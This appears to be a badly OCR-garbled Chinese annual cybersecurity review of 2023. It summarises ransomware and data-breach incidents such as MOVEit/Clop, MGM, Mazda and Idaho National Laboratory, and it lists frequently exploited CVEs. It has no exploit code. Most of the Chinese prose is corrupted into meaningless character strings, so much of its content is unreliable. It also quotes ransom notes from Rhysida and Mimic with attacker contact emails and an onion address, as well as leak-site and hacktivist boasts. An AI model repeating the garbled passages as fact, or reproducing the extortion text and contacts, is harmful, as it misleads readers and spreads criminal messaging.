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B (12 I R R H b, SR R T MBI R A 45 R . 29 1000 AEMEAASZ 2520 . 7 DNV
At EECORI AL, RUE AN S B RiE 5 E R ARNIERAZ. DNV H A
13175 MERGAR X 2 2hifg e BARALIRSS, 2021 U 20 12 3£ 7T

SECTORS SERVICES IRGHHTS ABDUT US
DY

Cyber-attack on ShipManager servers -

DNV is working to restore the functionalities of the dedicated ShipManages servers, following a
ransomware cyber-attack an 7 lanuary, External technical experts have been engaged to investigate the
amack, which also has been reported to the police and other relavant authonties

K. DNV &) R AR 1) 7 B

FeJE: https://www. secrss. com/articles/51280
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2023 £F 2 H 3 H, AHEARMIDCORAE RN/, FEOZ 8K BB 5 BE RS ik IEH
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BURI R, B AR R AIERGEIBE O A BR . TR PORES BT ZH 24 NetBlocks ilE
52, FEWTHL RV, By B EIRE R O R IEH K 30% A A . R A N R 2 3
FHE 8 & 30 70, Belco AW L4 N2 0% E KR 1 b HL, BRI 9 5 45 73 P T 2t 4 R E

. [  Bermuda Government & o
@BdaGovernment - Follow

(1/2) The Government has been advised that there
has been a serious incident at Belco, which has
resulted in an island-wide power outage.

Belco is currently working to restore power.
4:32 AM - Feb 4, 2023 @

g Read the full conversation on Twitter

B 2 K X UM R AT )38

FJE: https://www. secrss. com/articles/51617
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Anonymous Operations es
@AnonOpsSE

#Anonymous #OpRussia convex.ru, hacked
they provide telecom services in #Russia,
internet/telephone/cable

Government, business

Green Atom project exposed and used for spying on
Internet/telephone traffic under an agreement with
the FSS

Credit- CAXXII
#Ukraine
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2023 £ 4 H 5 H, PE & EI AR AEHE R RUE ST SELUE 2I8) R Pt B4k MoneyMessage
Wale, AZPKE Ll it 5 Rt B VR AT, FEMRACE R ST B IR 1. 5TB HdE, &
FEHAFIRACES  AEH < BIOS [ 1R SO AN EHE 2, JFEER A2 338 50T 400 7336 uie: (L6 AR 2750
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Money Message
Hello!

1
Micro Star Intermational
O5-04-2073
Reveal timer; 133h 40m 455

Mlcro-Bra Interrational AKK MS| designe. manuTaciunes, and sells motheboands and graphcs caade for customerns in the United States Carads, and
Inkssmaticnalty. M5! ks headguartensd In Talpsd, Talwan, M5 scures coda, including framesnni bo devsion bics, also we have privaie keys

‘e il publish snolen data when tmer eapings
Datanses: waril, eals, CTMS, ERP

RN £TB

‘Wit me l.cam

|||||

Som o Sk T O G T Y ey

K. UEEBFIN MoneyMessage 4K 1982 9 3

FeJE: https://www. secrss. com/articles/53509
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¥, BEIEZA m %k Bk 1500 /5% 2000 F ¥4, Capita A ILETE A, 2023 45 3 K Y
HRERLGE, FHERE S TN RS SRR . %A 7RIS B R B ST IE 2 /b
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NETWOH - KUBEP CMELUHAS PO
¥ oTPAA "Mirai"

Bun 1 BBET TONBKO KOMaranp Mirai

ATaka Ha ViTannw

MHCTUTYT NepcnekTMBHLIX NCCIA0BaHNA.
http//www.imtlucca.it
tt check-host.net/check-report/98c280
BoIClWWiA MHCTUTYT CaHWTEL
c(LpSy/Cneck-nost.netycneck-reportrsaCiolU
HOBOCTW, XypHan.l.
1ttps: rinfomedix.it
ttps://check-host.net/check-report/98c280ak43
CeHar.
nttps: nato.it/home

ttps://check-host.net/check-report/98c2e3
MuHoB0opOHLL.

ttps://check-host.net/check-re
ABTOMOBUNEHEIR KnyB UTanun.
nttps: .aciit/

Pl: Killnet 2 A4 6 AT R Wit 44

SKVR: https://www. 163. com/dy/article/H778C93H0525SGMA. html

9. EIBAME AR BB ER S, KE T REBURSHE M E

2023 £ 6 H 23 H, &BRE KW EMN T A A 5 EH 2~ (AnericanAirlines) F 78 Fg fif &
(SouthwestAirlines) # & | — & & itz FH 4. MEFE R EM T KT RERABFE &
PilotCredentials #£ 4 H 30 HIE&E 7 HBA N, FFEGHL 7 AT 2 H3E A JKAT R 2 AR fE
FRAEIAN NAB B R EMLT A7 Row, SR FEAF 282 /> 5745 44 7RAT N N I B s g i 2
7 R I o m RS B AR T B S R 3009 N it ER BRI KB T — e NB N, Bk #EfR
S, BRI TR, RS, WA HIE. AT RUE 5 R DL HARIBUR UK B A E T 5

FPE: https://www. secrss. com/articles/55951
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10. W FREFEEBHRREEE, REFEHE!

2023 4 6 H 27 H, Clop fEHLEIRMFE MG Fo0H 7T T FReIRA R, FHRIRER T Z AR M
B PO ReIE A m ) —A0 & 5 ANIESE Clop &= 344 FIH CVE-2023-34362 [ MOVEi t /&5 % H ik
TR TR AT FRIBEAFRRR, HETg e SRR %, WS ieE A%
Bz, ARAIEAR I —F S WAL RREC T ATE . B T T T FREURA ], Clop M FRF|H MOVEL t
FE4 Z 48 B HL 7 Tl B3k it i 72 RS 2000

UPDATES
SE.COM PAGE PUBLISHED
SIEMENS-ENERGY.COM PAGE PUBLISHED

Kl: Clop A FREEHL 1 P4 15 REVR AN i 428 H < Kt

FeJE: https://www. freebuf. com/news/370492. html

11. XS RERARES S BT

20234 7 H 11 H, Wi HkEE 7 —AN /G 0day i, 95y CVE-2023-36884, ZIWiAAET £
A Windows RGUAI Office F= i . TR B R AEIR, CRIAMRITE =M APT HLUELER| FH %
TR LA b 2916 £ 42 SO A 55 K BRI FEL 5 (1 B o RBORF 388 1 D ke Mo o el % 2RI CVE-2023-36884
TR SRAE W Of Fice SCRY, FRE MRA5577 RIATHHE, LAB S FEE IR R 8O0k,
— HOCRIHEATIE, ST b s e, ZEEE R . 5 A O& IR R AR
QIR TIRTEEE 4, ARSI R SO A £ 48 AT LA o
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T mEesM
Lz

@E) BR5H, ELERS

] i 2 i AR I I R AR O

SJE: http://it. rising. com. cn/anquan/20023. html

12.  EPGURBENFOEMKZEE ! BFEERERE

2023 7 H 24 H, QBT P EVE B R R A A BARR, 1% R P T AR I Ol 2 S5 A A
U4 By o XS24k 2022 4 6 H 4 PG Tl K28 5255 7 26 Wik e L — BAR R 6. B 55
I3 EE I S AL L AR 360 A F LRI L KA R, BRI KT 1T A RS/ A BUF S R B A
SURUANVE S TR AL, 15 E 3 S 7 %o Qi Tl b 7 ) 0 I e 14 DX 8 b ok ) 95 [

FJE: https://www. secrss. com/articles/57088

13.  “RK” BIREMF=RF: D3k Windows XEHr. BR. )5
I
TH 2T H, SRR L Kk BB A e R LR B TR
B, “OREKR” BRSO B AR Y Windows BEBTEL Word L3627, K2 HE NEIFHIT L

&, HANSIE R PSS, &S 23RN 5% 51 1T—WorldWindStealer, WEERZEHH
M SO B B8, EAURBERRRAS . EAR S RE R, RS ST .
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BIG HEAD
RANSOMWARE

100% Decryptable

‘H~

K B R BB U 1 bR R BE AR

SJE: http://it. rising. com. cn/anquan/20027. html

14. IWEMRFECENBZHREGRREIER

8 H 2 H, Xk pPh i ot i B J2 HES R 55 25 421 6 K I, SEALh [l 9% 55 B4R FH HEFS
R4 2 ikm s, BRI TP bk Ay 119.91. 152, xxx:4442, {EXAHFS RGBT, FHZ
AE RS, Hoh“srys. exe” 3R Rt E O AW T, A IBIR Farfli J5 [ T#E5, iI0RK DarkKomet
AL, X 2E FHPHA TG R A SEUF R O R AT AR i S R

296.5KB  2023/5/20 1:.06:03
801.5KB 2023/6/4 16:05:07 528

& User———————————————
( | I

[~/ Folder

801.5KB  2023/6/14 8:14:55 339

« Home

801.5KB 2023/3/10 5:48:44 10733

0 folders, 6 files, 16.9 MBytes

296.5KB  2023/5/20 1:06:03 117
r®search—————— 14.0MB  2023/6/13 2:56:58 11
[ J[eo]
 db Select

|EH Invert || Mask |

0 items selected

b Actions
‘ Archive | ‘ Get list |

W9 Server information
FileSer

Server t\me 2023[7,‘24 15:49:46
Server uptime: (37 days) 06:55:44

Bl WiEERIfk 1P Mtk ™ 1) 2 A= S

SJE: http://it. rising. com. cn/anquan/20031. html
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15. ¥EKEBRDT MOVELt J§iF, MEHRIT 8 AZEFAHER

20238 H 14 H, EZREHBXEKWERIT—— ANREAT M AIFEIN A KR T —h %
FUE BRI .z TR, BT AR R A GE 1 I MOVEL t AR Z AT, S EURAT
82217 &M AN NG Bk #E . Movelt fE N AR ProgressSoftware it F—3k /=i, 4% H
N AIBUR R P T Z RSO E TR . BT~ R AR SRR, PP Bz 441 Clop
RIHBAT B, 5]k 2 ANl B i 2R 1) fE L

Dear [person]:

We write to inform you that one of our vendors, PricewaterhouseCoopers
(PwC), has been a victim of a cybersecurity breach that included certain
personal information of our customers. The breach involved the compromise
of a software, MOVEit, used by PwC to transfer files for a small number of its

clients, including Banco Popular de Puerto Rico (Popular).

As a public corporation that trades in the stock market, Popular is required to
use the services of an auditing and accounting firm such as PwC. The job of
auditing Popular requires, due to its nature, that Popular share client
information so that PwC can perform certain independent validations

necessary for Popular to issue financial statements.

Upon learning of the incident, PwC immediately launched an investigation and
ceased using the impacted software. As a result of this investigation, it was
determined on July 24th, 2023, that certain of the files compromised in the
incident included personal information of our customers. The compromised
personal information includes your name, Social Security number, mortgage

loan number ending in , and mortgage-related fields.
Kl 2R E NRARAT 17 I A& 8 A

5. https://www. freebuf. com/news/375127. html

16. FHBOGEEHRLE: 4006B HEMEE, B ORZITEH

2023 4 9 HY], FUSEHI O BRDHE O X 45 22 AR 19 207 A AR RA IR E LI B4k, #h&
ALY Trigona FERR, CMNBRL ST B 40068 $0¥8, RS04 30 367t (L& 235 J570)
ARG . BULHBRoR, AT 8 AR — S S CBE, M — B RSB =
TTEANE THATEITHRENL R G Bk N 4 22 4 M o B G B & B IS B B, sy
PRIEREME. DT HRATIK P VEAN(E EAISEOSIE, RN LR EFoR, B9 OE 2 kA =Rl g
(T —— B B 2R s e Az R S T 7 1)
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'Qﬂ TRIGONR Contact us

«Back to all Posts

Cyberport - s
Status:

Cyberport is a technology park located in Hong Kong, aimed at fostering the development of the region's digital industry. Established in 1999 by the P rev | ew

Hong Kong government, Cyberport provides a vibrant ecosystem for technology startups, entrepreneurs, and established companies. It offers state-

of-the-art facilities, infrastructure, and a supportive environment for innovation and business growth.

& $300,000.00

41
| |

@ Download data

[ Visit website

P i B Bl e A

JE: https://www. secrss. com/articles/58629

17.  EEERKREEZHREKMFR S

2023 4F 9 H ¥, HackRead I il # 5% , 4= BR & Sk A0 Bk b B3k oK v g [ B i s 4R ]
(MGMResrtsInternational) 18 ZIEZRMMAFB, MG, BT RGP THYL R RS2 3™
Higm . WERERAFEE vx—underground KATMIHESCRE, IR iE3) %5 B F /2 ALPPV #1&
AR . A TN RRE K S R B BRI 4 By . BRIl — 208, Kt
SR — Ik, BEREMEIUTCRVE G RAE R 4. B Ewar &R a T
FEBORTES, EERRZEZERNEEFHAL.

& https://www. mgmresons,[om;m\\‘T!‘w\ e

in

N

‘w)] MGM RESORTS

The MGM Resorts website is currently unavailable.

We apologize for the inconvenience.
For restaurant options and reservations, please download the MGM Rewards App.
To make a reservation for a resident artist, production show, or attraction please visit Ticketmaster.com
To purchase tickets for Las Veegas Aces, Vegas Golden Knights or a concert event at an Arena please visit AXS.com
For hotel reservations arriving September 13-17, 2023, we understand your travel plans may have changed, so we are offering free changes and cancellations.

Thank you for your loyalty to MGM Resorts and we look forward to welcoming you soon.

P oK i Al [ Bl s B TR A IR >

FeJE: https://www. freebuf. com/news/378051. html

18. L HERFHSEANR, 8 10 Hh NS BT stk &

2023 9 H 156 H, RERAFGHIEFR, AT N RGNS SESIIMNINR, FEAF R
TREETT N R4 S i S 038 TH4) 104732 435 BrT RE M ER - & HIS A FIFR, #E HATRE
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KIA NG BEEREH RO, TTREPOREE G R AR S IEE R . & HIE O S ik,
FEA NG BRI R R AT T BRI . S HIEERR, REREC— VAT BE R I B 1 S Ok
Ao

September 15, 2023
Mazda Motor Corporation

Apology and Notification Regarding Possible Leakage of Personal Information
Due to Unauthorized Access

We regrel to inform you that there has recently been discovered our server was illegally
accessed by an external attacker and that some of the personal information managed by our
company may have been leaked to the external parties. Please note that no customer personal
information is stored on the server that was illegally accessed and has not been leaked

We deeply apologize for any inconvenience and concern this incident may cause ta those
involved

We are currently continuing our investigation, and we would like to report the facts known

at this time and our company's response as follows,

[Summary]

On Monday, July 24, 2023, we detected unauthorized communications via our server
equipment and immediately took the necessary measures, including disconnecting the server
equipment from the network, Subsequently, an investigation by a third-party organization (an
external security specialist) confirmed evidence of unauthorized access to the system
(directory server) that manages our system’s account information, etc., and it was discovered

that some personal information may have been leaked to the extemal parties.

[Personal information that may have leaked]
The following account infermation for employees of our company and group companies,
employees of subcontractors, and our business partners.,

(104,732 cases)

User 10 issued by our company
Password (encrypted value)
Name (Kanji, Roman alphabet)
E-mail address

Company name

Department, Title

Phone number

Bl BEEREA R A S

JeJE: https://www. ithome. com/0/719/721. htm

19. HEZEMHA CyberAv3ngers BRI 200 4™ LA F] 0y a5

20234 10 A 15 H, #EIEFBAELRHEHE AL (Tasnim) FiE 43R 1E, L& HZ CyberAv3ngers
FERRAT A F 2 44 0 ik 32 i1 i o 7 SRR E R ORPAKSystems PRI R AAR X 255 Moot £ 7« J0 o5 & 7EAth AT
(1) Telegram $TE b RAT 1 4% 45 AR 2 - HldikiE, W HE S8 CAEA%1] 200 NVMZE DG, ki fff
TSR o 2 T ARV 2 22 AN ek 9% 4]« CyberAv3ngers IBTE H: Telegram AHiE & AR T — L8 iy uh
P it LR ERAGL B ST AR A SR
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Cyber Av3ngers

00:10.

‘D S
= 1=1"
|

Lets take a look at some of the CCTV of gas stations! &%

P Tk 2 R A B I ki 22 4 5% Sk R

FJE: https://www. secrss. com/articles/59701

20. Py A T 8 5 AR B A A

2023 5 10 H 20 H, Fi 2 B f ol SR 20 B A Al gl 430 53 R S i By Mo i 2, s
AR IL, BehFEONIE TR BREEERVRA SO ARG L, ke Hbs 2 A A i, L
KW Hbs Rl e B SR B o B RN T RTARR AT I — R R L B AR S, O FormBook4. 1
FRAS, RERg eI A . HERESEHURE S, RN R Rl oiae, BAA R R E

RE L - B

e | 4R, BEAHEE

20 % 52 5 | qum mTARFFLOGO

Bt TERATEREENEEE NS ASESE 3

Bl O Ry E R VA STEF I 89 iR 1
Y. https://mp. weixin. qq. com/s/yPsz2]j—qmvgvHA3]Jz1Bd0A
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21. PUSEEPEER “HERAGBOR” 2 ARSHRE

2023 % 11 H 9 H, Fi 2 BHE o DAl gR B 2RI R B AKOM B 0 A 4 2 1) 2
fho BRI, BRAESR AR B Dk (10 A BBV & N S A G B ER ) SOk
A, EA SRS, HEEEGR, — B N RS S BE AT IT TR 6, w2 i e
BRI RS -

10EFEREART '
AR Zip n

] AR P AR 0 25 50

5. https://mp. weixin. qq. com/s/T913Fkd-1]Jf2s041EC89dw

22. BREEHKM “Enmity” —EEHH FH BT EME

2023 £ 11 29 H, i 2 B E IR ORiZR R — 208 “Enmity” F#HRBAE, HAMERM T
ST, IF Hik2HEAEES VEAREL T, WMttt Fr, BihEaike®
FHEIRME AT 1 BB (SR EAT R I, MO B B E S, LRARATAR A R B S A
SRR S — B, Rt S A A SO . IR RS BRI, PDF SRR
&

K. i & RE R G

SJePE: https://mp. weixin. qq. com/s/bNKxdww7sw80—-vGGAuOABg
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23. XEBEMALRITEREZAR, H+ANABEHTE

2023 7 11 H 22 H, EEREIEHEE E AP O . 5k fif [ 5 SE5 % (INL) i 8 52 W 28
i, 11 H 20 HEBEHY SiegedSec BEAT I INL BRIV AR, HAEHE “$+75” R,
RGP A RIEGE R . SiegedSec 7E Telegram E/AAi 1 INL PN B - ST 5 ia) A 75 61 2 1
THRBEHFEE, FARGEAFIIEE, FRGEER TE INL RS BRI EE XA, DMELE INL
(I AEAN N AR 038 I VR 9 28 2 7t

meow Meow Meow Meow Meow Meow meow

we've successfully gained access to Idaho National Laboratory (inl.gov)! mmmm yummy data~ we've accessed hundreds of
thousands of user, employee and citizen data! this data contains the following;
- full name

- date of birth

- email address

- phone number

- social security number

- address

- employment info

- lots lots more!

woah so much crunchy data :3 we also sent out an announcement to all users of their OTBI platform showing our access!
we're willing to make a deal with INL. if they research creating irl catgirls we will take down this post @

LEAK

"super secret encoded message for INL -> 48 41 48 41 48 41"
btw INL please join our public group chat t.me/SiegedSec_Chat so we can shit on you

enjoy this leak
sincerely, SiegedSec <3

K. SiegedSec 7& B&WIE I RAGHIA

SJE: https://www. goupsec. com/news/14957. html

24. W SCEMLB K /)4 ] HSE @B R A B

2023 4F 11 J 22 H, W& e WA w (HSE) M2 8RBT Uy, H RGN S E 3
R, ZFAIEREM A A, HSE F 27 H&oR:  “EHHEMWZENZ S /G0 H/AIT, S5H
X HLMEE R S O, BN TT Sk i I 2 e igts, e A m K am R, /il
SR 7 IOERK, HSEXREEAAAEE “ =7 o, Bl MRS SR S i IR UE U R AR - AR 46
BEE, SRR KRS BT R SANEAE RN EGEE, JFEH T Rhysida BiREMmE.
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Critical Breach Detected — Immediate Response Required

Dear company,

This is an automated alert from cybersecurity team Rhysida. An unfortunate
situation has arisen — your digital ecosystem has been compromised, and a
substantial amount of confidential data has been exfiltrated from your network.
The potential ramifications of this could be dire, including the sale, publication,
or distribution of your data to competitors or media outlets. This could inflict
significant reputational and financial damage.

However, this situation is not without a remedy.

Qur team has developed a unique key, specifically designed to restore your
digital security. This key represents the first and most crucial step in
recovering from this sntuation To utilize this key, visit our secure portal:

rhysidafc = = .onion with your
secret key or write email:
ChantellGrant@onionmail.org @onionmail.org

It’s vital to note that any attempts to decrypt the encrypted files independently
could lead to permanent data loss. We strongly advise against such actions.

Time is a critical factor in mitigating the impact of this breach. With each
passing moment, the potential damage escalates. Your immediate action and
full cooperation are required to navigate this scenario effectively.

Rest assured, our team is committed to guiding you through this process. The
journey to resolution begins with the use of the unique key. Together, we can
restore the security of your digital environment.

Best regards

K. HSE 2 " UEI B &R A

SJE: https://www. secrss. com/articles/61150

25. FEEHMAEFEMRAFHERE, StEE 30 e A% EHE

2023 4F 12 H 4 H, FEEEFMRA 7 23andMe B4, BRFHZAMIAZL, BT KL 1.4
JiA~ 23andMe FH UK P, IDSREL T K20 690 Jitr H AR RN NGB . — 4 REEH T gtz kK hh
PR, ABATIEREX T 23andMe H A IS 245 2o 5T A0 729 100 J3HKTE AT 30 J3 4435 IR FH - £dhs
FHXF AR 1-10 FE 70 BANKS B 178532

K. 23andMe 4 1 it ER

JJE: https://www. secrss. com/articles/61465
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26. i EDR ATEGREAKEE “Minic” BIRHMGBEHELRE

2023 12 H 15 H, Hi 2B RO ZRE— 408 “Mimic” KRR EAMF, HANH
Y EESC 43R A Everything () APT, SRREIERAZINE 10 H AR, EMEH T C4 itk #E 1)
Conti B EAFIRACHS, FEHIEAE BRI 105 3L 2 S D HF IR, $2m T 8RBT R ReR,
FARUE T I (R LR AR e . [FIR,  “Mimic” BhZIEHA LM KBS B ik FH P 26 b s
THENL B PTE MR R A 2 B S D Re . B A2 EDR A Bt R AT 1 s AR 2

I#G)ﬁ%ﬁ)ﬁﬁ@)ﬁfw)ﬁﬁm)

Greetings,

There was a serious security breach in your systems and this was detected
during our scans

We encrypt your data that you see important in your system by processing twice.
As encryption is done as SHA256 and AES256, we would like to remind you that
you can not restore your data with known data recovery methods. If you want to
use data recovery companies or programs on your side, please do not worry about
your actual files

process and / or make copies of them. Corruption of the original files may
cause irretrievable damage to your data.

If you wish, you can contact us via the following communication to resolve this
issue.

YOUR REFERENCE CODE i
IR4beVNnesMS-Z9mwBnn79YzSumzz2¢sRQ_Nn7Z80ns*datenklauseO@gmail. com. blue

datenklause0@gmail. com
getbyback@protonmail. com

B # “Mimic” #hZ LGRS RS

5. https://mp. weixin. qq. com/s/nEGi2z5c¢GodUAf1PxCtPFw

(=) 2023 FEJ_IA

1. 2023 4 CVE JwiFA| FHZ Topl0

E A, MIRERIRREREERD T RE, MK office WIAKAREE M. KALLK
CVE-2017-11882. CVE-2018-0802 LAYl Az Pt &) F VAT 7 BEAR 20— B R P s Bk 3
e R R R, 3Rt M T EDAIE T 4 e — B DUOR B R A B B R I R BB —

I PR AE PR B e e AR, SR M 15 % s T 46 52 03, ot CVE-2017-17215 sl K
WAL JE R B TOT 8 W 25995 85 75 bk, %4 7F 2018 4F B F FZ IR TR — R Z W EEAL T 18000 & %
M EE T M. Mirai. Satori. Brickerbot. Moz &AM %R RAE AR FER H ) —Fh 7 2.

CVE-2017-0147windowsSM ¥l IR (MS17-010 7k {8 2 ¥R IRA) £ 2017 F4Ek, E5CLEFE 6
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SERSIR], SRTIE AT H AT R A B 2 ) NI 2 — o %IRRT DUE B TR S AN T A,
e 1T AE R 2 Bl A 34858 v MR AR A AE KR 1) 283 B0 4% 1 R B %R, BEN A IR I8 14097 75 7
FeAT T ad e 1 e 1 A P AE Y IR S5 A 4

2023 fE AR L PR FE 26447 NRIA, AHEE R EE K 5. 2% HAr A Z O R H IR .
1: CVE-2023-23397, 1XJj& —AMEFE S KRR THFR, & T Windows [ MicrosoftOutlook
FL - BB 7 i (R BT 2SR RROAS, AoV M R S A B b i, P B s 347 R & BT ],
Wi #H R RE—HE IR B3 e, H S8t APT28 76N i 2 DI 414U F .

Fit 2 AR M VR I A BB AR FH AR P AT o0, PRI 2023 4E 1 £ 12 A4 IEi Topl0:

IBINC EREE

2023$CVEEE*IJE$TOP10 2023 HERBRSRE

1. 1CVE-2017-118820ffice ;AL HATIRIA

NI A XGRS 0ffice WARBIAINI, 520 HATHATATA Office MiAs, Biiiz&mr
I Z IR L4 108 SR P B AT R4 . IR BLEREL EQNEDT32. BXE o, iZfH oy AR
RiEAR, fE Office M LHISFE R EERIN RS, S DL OLE H AR A K HRNAE Office ST .
T T RN A R VE IER AR TR, Yot 3 n] DU it 2 5 0 3 1 500s 9 29 78 o ek 1 11 bR 4
bk, TSR AR, EEFH N XA SER P EEGS .

1. 2CVE-2017-17215HG532 RS HUTIRIA

2017 5 11 H Ay CheckPoint B\ 1 B Py 55 7= b (0 A2 dy 2 AT IR (CVE-2017-17215) ,
TR 2 upnp AR 55 2% TR N IR TR SEBLZ FEBAT AR R ARRY, & & B A BT 5 2 VI 1) 2k R
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& Mirai BT A F

1. 3CVE-2017-0147WindowsSMB ¥l i MS17-010

2017 4F 5 H 4y ShadowBrokers AAfi AT EquationGroup G B2 TH,, Hrh @& “ ka2 #5”
S22 AN NS17-010 i A T E . MS17-010 %f8 CVE-2017-0143. CVE-2017-0144, CVE-2017-0145.
CVE-2017-0146. CVE-2017-0147. CVE-2017-0148 %5 £ /> SMB Jgild. X L HME HE S8 75
K WannaCry 3 82 I &RE R, B EENRED 150 ZEZK, 30 2 HH A4, FHERM.

RElE BRITSEARZAT W EZ M, G HaG pledii 2k @ik 80 /4367t 5 & Fi R FH MS17-010 Yl
PR BRRE RS K, MR .

1. 4CVE-2018-0802 A F&m4a 22 IR A
ZIRIA 5 B _E—4X CVE-2017-11882 — ik #H &, [FJ& T MicrosoftOffice A1 fJ EQNEDT32. EXE
AR IR . 2RI RN “EBA AR IR THRENGFHRAEEAY (R Office

FERORIRIRD 5 2 F P 3T RS AR A 2 U 3 248 0 B Of Fice SORYIN 25 BAEARR IR 3 BUE S A
P HhAT

1. 5CVE-2010-0188TIFF E{& AbHE 22 i [X i H IR TR

%I 9 AdobeReader 1 AcrobatTIFF Ef§AbFE 22 [X s 1T, Adobe ZEMAT TIFF B
e, A T IR EEARRS (1ibtiff) FAEHER L H /K bug, IR ZEXT DotRange J& I I fif i E .
ZIRE 2 APT 24T 3 B fs

1. 6CVE-2009-0927AdobeAcrobat Ffl ReaderCollabgetIcon () JavaScript 75
W Rand)
1Z A2 AdobeAcrobat  Reader %A IEMiHIALFE PDF SCAS P B A0-5 (% & JavaScript, W5

6] Collab X R getTcon O J7 sR At T 43I S £, mlrl LA A Ml o PR mT AR A T I AN iR
FEVF LA 18 5% I B PR 58 2 P 52 52 i i L4 o

1. 7TCVE-2010-2568WindowsLNK % 5 A JKiH

1Z IR A B2 WindowsXPSP3. Server2003SP2.VistaSP1 1 SP2.Server2008SP2 F1 R2 & Windows7.
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Windows I IEAAMBALHE LNK SCAF, el A9 LNK SO AT RE 5 Windows H Bl AT tREE T O 4R
SE AR .

1. 8CVE-2006-0003RDS. Dataspace A HATIRIA

1ZIE VA RDS. DataspaceActiveX 4 FAAEARTE AR, & ActiveX £ X 5 (ADO)
F, FH AT AE Microsoft #E U7 ) 2044 (MDAC) 2. 7 F11 2. 8 /1, 1Z il J0 17 A T o 38 38 1 oA 80 1 T
HENPATAEEARY .

1. 9CVE-2022-4668910S16 2 Zi Z kiR iA

IR 10516, 2 LU MIRRA R ORI B 4%, T 200 76 T Ak t B IS B I R S 74k, 4
RS HAb 2 A fa i, TTE T0S16. 2 BUS LG Bs 77 8 §iE e
1. 10CVE-2015-0003Win32k 32ALIR A

ZIR I A& BT Windows ) win32k. sys HERAFEXT P2 SHIGIEANT 2, SEOAAEE D4
PR FR 5 5] ] (NullPointerDereference) 7 [l . U S 6 VA A 2R . Bodi & m] LS B
PR T

2. 2023 FFE R IR Hr

2. 1CVE-2023-38831 WinRAR iZfEAAL AT IRIF

ZIRIE A BT R4 G A A A SO, WinRAR A B0 EIR 44 SO RSO AL, X &
BUE BIAAT SO e Y B HEARBEBIAS o TS0ty 2 AR A 2R A % R O S 4 S, IS T TOT
JE4E S A payload FEBROCMRERE, MMHATEREARS, FRVFEGE# Q2% E. RAR A1 ZTP
5.

2. 2CVE-2023-21768WindowsAncillaryFunctionDriverforWinSock A FR &
FIRIF

AncillaryFunctionDriverforWinSock (f&i#x afd) & Windows RGN L EE 0 %O T E, ZiwIH
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& TN HBEREE IE#HZE WindowsAncillaryFunctionDriverforWinSock it inzz 4= fR %1, M
FECAMIEE T DG 2 R ], A RIE T & SYSTEM.

2. 3CVE-2023-32243WordPress a4 Rt F IR TH

WordPress & F & F—3K % N “EssentialAddonsforElementor” HIGE{LE#E Patchstack MY
T R IR AR . WA T LU I Z IR TR AR P 2 B o0 3B AR H P R, M
MRS ST R H P IR GERBT A, 3 A E BRI H .

2. 4CVE-2023-23397MICROSOFTOUTLOOK #XFR 32 F IR

IR AT DAL AR EE 5 43 56 0E A B0k 3 8 I R IR R I R I, SO A IR R B i
AR UNC A7 B, 38 52 334 1) Net-NTLMv2 B g il 55 45 Mok . %63 ) NTLM A 7548 v DU T 44
AT NTLM FR 4k Xy, B & SZEUA PR B T A ] HoAthy py 55 R0 4%

2. 5CVE-2023-21752WindowsBackupService B R FA-IRIH

1Z 0% T ST URCEE 2023 4 1 H A 12 8 ) — /> WindowsBackupService {F & SC 4 M B4R I i o
WindowsBackupService At HEHLIEML &0 AL TNEE. BT Windows #4470 51 ZE7E SO I BUBR 38AIE
BfALPRAN 2, Bk 38 ml A % 2 AR S BT B SO B, 1381 S ECRRAUEE T

2. 6CVE-2023-22515At1assianConfluence AR FFIRTRE

Confuence J& — L) b 71 R 5 B 5 ¥ R B, o] DLAH Tk wikio BT
AtlassianConfluenceDataCenter 1 ConfluenceServer fE7EAFR & IR, i iZ IR BT 178 5,
Rt 2 F R & S Sk R FE B ¥, 7T LAEHT AT Confluence Z2deifiihs, FHHGINE B K/,
M7\ Confluence SEH

2. TCVE-2023-21716MicrosoftWord A HATIRIA

%I MicrosoftWord f¥] RTF fihT2s (wwlib) i —ANmRRACHS 04T IR o o vl Ll
HIE AL & K F AR I RTF SCRY, 18 H s 7 RGEIREE, @ B iser. BPRyHE %7, F%
F P T R AL ST R RTF SCAY . A IR, T (8 250l 3-8 4E H bR R 40 1 LRI P
AL PR AT AT R ARAS 1)
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2. 8CVE-2023-368840fficeandWindowsHTML /XA AT IR TH

IR SCVFZ AR B B A B s R g8 BT HEEAS . i TR BRSPS AT X P e (4
I ASAEA A, S BOZ ARG m] DB 5 9 52 35 5 3T PR PR ik A e, R A2 R G0 BT
RS

2. 9CVE-2023-23376Windows iEH H & X4 R AW FEFREPUR A IRTHE

NI AAAE T Windows 38 M H & RGP, 58— DMRFRERTHR R . 223 S Y AIE 1
Kt ] IR AT R R A I TR, ATTE H AR 248 1 L SYSTEM AR PATAE R AR o
A5 RCE Jeif HERAE i, DAL RS BB sl = At

2. 10CVE-2023-4863GoogleChrome HELE X 25 tH IRTA

WebP 3t Google JF A [ —Fft e {5 4% 3, WA 48 MR SR AAT 5 AN TC S 48 o 12 17 72 H T+ WebP
BEPAFAEBRIG , Pl i ¥5 -5 F )P U7 R R W st R R i, e 28 3 30 A AR R 48 EAE AT
.

(=) 2023 &4 R APT B B4Rk

2023 £F, AEREEBUFEST 152 APT Mo i E EH AR, KZHAPT HAMAFBUNE 5, Lug
B pRCEERM. GRNVEE R NAR, S 5RMGERA R, RN LI A
F A G £ A B R BT 2 3, A H RSB EE S BURRTT. By %0, REIRAE E 5K B 24U
AN, GHTR s R IR APT UK Sh B i £ 28 77, JEHL Lo 62 oy £ 2 H AR

Hit SR AE 2023 SEFUHER 12 AT 0 & EBUFEST T APT BG4, Horh aE e 3 seIR ATl A

TR, £, FHEBNHLAT R, B, BEEAEZrmdik, waN -t APT Xy
e

1. BUh4H 2R SideCopy

1.1 +A

SideCopy ZHZUBELIR H T ELEEMIH, 2/ )\ 2019 SEHEIF LR I M4 B 1G5, 32 B0 5 1
B 5K, el B EE AR & VT R BUR BT T o B T 2 230 Mo 77 AU B SideWinder C(BEAULSK H BN
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MR L, hcamErg) APT 141, WifS4 SideCopy. #H4b, HEAHIHT T8 85 1 Z H 2 %Al 5
TransparentTribe (APT36, 4% L2 AL, FTRERAZHL N — 5. 2023 F 2 A
A5 H, HiEBMEIR T G R E 1% LSV X B EUR R 1A E B T Bt AT 8 .

1.2 Bk B4

Wi FM L £ 2 AW RGHESF, A EHFELHEMEETER, K48
“CyberAdvisory2023. docm” [I3CHRSAIELT ENEEBURERIT, % 30RO e sl MU IR 1t 22 Wt T4l
&, EMN (Android RGLHEHANTRES FEME)  LALEYN 2 A A, TR 3 AR R AR
i, FEIFBITETIEFER S 8 E1) ReverseRAT K Y. %A D@5 C2 R4 #ilfs, Bl
